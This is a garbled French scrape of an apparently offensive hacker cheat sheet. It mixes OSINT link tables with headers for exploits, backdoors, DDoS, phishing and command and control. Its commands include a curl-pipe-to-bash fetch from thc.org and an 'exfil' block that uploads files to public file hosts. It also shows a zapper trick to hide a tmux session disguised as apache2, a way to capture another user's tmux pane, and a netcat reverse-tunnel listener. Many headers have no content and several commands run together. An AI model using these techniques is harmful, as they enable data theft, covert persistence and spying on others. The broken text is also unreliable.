| https://account.shodan.io/billing/tour | Base de données de ports ouverts et recherche DNS dans le monde entier |
| https://dnsdumpster.com/ | Outil de reconnaissance de domaines |
| https://crt.sh/ | Recherche de certificats TLS |
| https://archive.org/web/ | Vue historique des sites web |
| https://www.farsightsecurity.com/solutions/dnsdb/ | Recherche DNS (payant) |
| https://wigle.net/ | Mappeur de réseaux sans fil |
| https://radiocells.org/ |
| OSINT for Detectives | |
|---|---|
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Liste de ressources OSINT de Nixintel |
| https://github.com/jivoi/awesome-osint | Liste Awesome OSINT |
| https://cipher387.github.io/osint_stuff_tool_collection/ | Collection d'outils OSINT |
| https://osintframework.com/ | De nombreux outils OSINT |
| OSINT Databases | |
|---|---|
| https://data.ddosecrets.com/ | Dumps de bases de données |
Communications
OpSec
exiftool -all= example.pdf example1.jpg ...)Exploits
System Information Gathering
curl -fsSL https://thc.org/ws | bash - Affiche tous les domaines hébergés sur un serveur + informations systèmegetexploit après l'installation)Backdoors
Network Scanners
Scanners de vulnérabilités (attention : ils produisent tous 99 % de faux positifs non exploitables. Ils sont tous nuls.)
DDoS
Binaires statiques / outils précompilés
Phishing
Tools
Callback / Canary / Commande & Contrôle
Tunneling
blitz -l / blitz foo.txtexfilcurl -T foo.txt https://oshi.atcurl -F'[email protected]' https://0x0.st/curl -T foo.txt https://transfer.shcurl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.phpcroc send foo.txt / croc anit-price-exampleForums et Conférences
Mindmaps et connaissances
| Aide-mémoire Tmux | |
|---|---|
| Max Buffer | Ctrl-b + : + set-option -g history-limit 65535 |
| SaveScrollback | Ctrl-b + : + capture-pane -S - suivi de Ctrl-b + : + save-buffer filename.txt. |
| SpyScrollback | tmux capture-pane -e -pS- -t 6.0 pour capturer le volet 6, fenêtre 0 d'un tmux en cours d'exécution. Supprimez -e pour enregistrer sans couleur. |
| Clear | tmux send-keys -R C-l \; clear-history -t6.0 pour effacer l'écran et supprimer l'historique de défilement. |
| Logging | Ctrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'Appuyez sur Ctrl-b + Shift + P pour démarrer et arrêter. |
| HiddenTmux | cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cachePour vous attacher à votre session, faites cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach |
| Attach | Démarrez un nouveau tmux, puis tapez Ctrl-b + s et utilisez LEFT, RIGHT pour prévisualiser et sélectionner n'importe quelle session. |
| Menu | Ctrl-b + >. Utilisez ensuite Ctrl-b + UP, DOWN, LEFT ou RIGHT pour vous déplacer entre les volets. |
Utilisez lsof -Pni ou netstat -putan (ou ss -putan) pour lister toutes les connexions Internet (-tu).
Utilisez ss -lntp pour afficher tous les sockets TCP (-t) en écoute (-l).
Utilisez netstat -rn ou ip route show pour afficher la route Internet par défaut.
Utilisez curl cheat.sh/tar pour obtenir l'aide TLDR pour tar. Fonctionne avec n'importe quelle autre commande linux.
Utilisez curl -fsSL bench.sh | bash pour tester la vitesse d'un serveur.
Pirater sur des liens à latence élevée ou des liens lents peut être frustrant. Chaque frappe est transmise une par une et toute faute de frappe devient beaucoup plus frustrante et longue à corriger. rlwrap vient à la rescousse. Il met en mémoire tampon toutes les frappes jusqu'à ce que Entrée soit enfoncée, puis transmet toute la ligne d'un coup. Cela rend beaucoup plus facile de taper à grande vitesse, de corriger les fautes de frappe, ...
Exemple pour l'extrémité réceptrice d'un tunnel inversé :```sh rlwrap --always-readline nc -vnlp 1524
Exemple pour *SSH*:```sh
rlwrap --always-readline ssh user@host
Il existe de nombreuses façons, mais en voici une :
Dédicaces : ADM, subz/#9x, DrWho, spoty Rejoignez-nous sur Telegram.
| Informations sur les antennes-relais |
| https://www.shodan.io/ | Moteur de recherche pour trouver des appareils et des bannières (payant) |
| https://spur.us/context/me | Évaluation IP https://spur.us/context/<IP> |
| http://drs.whoisxmlapi.com | Recherche Whois inversée (payant) |
| https://www.abuseipdb.com | Évaluation des abus IP |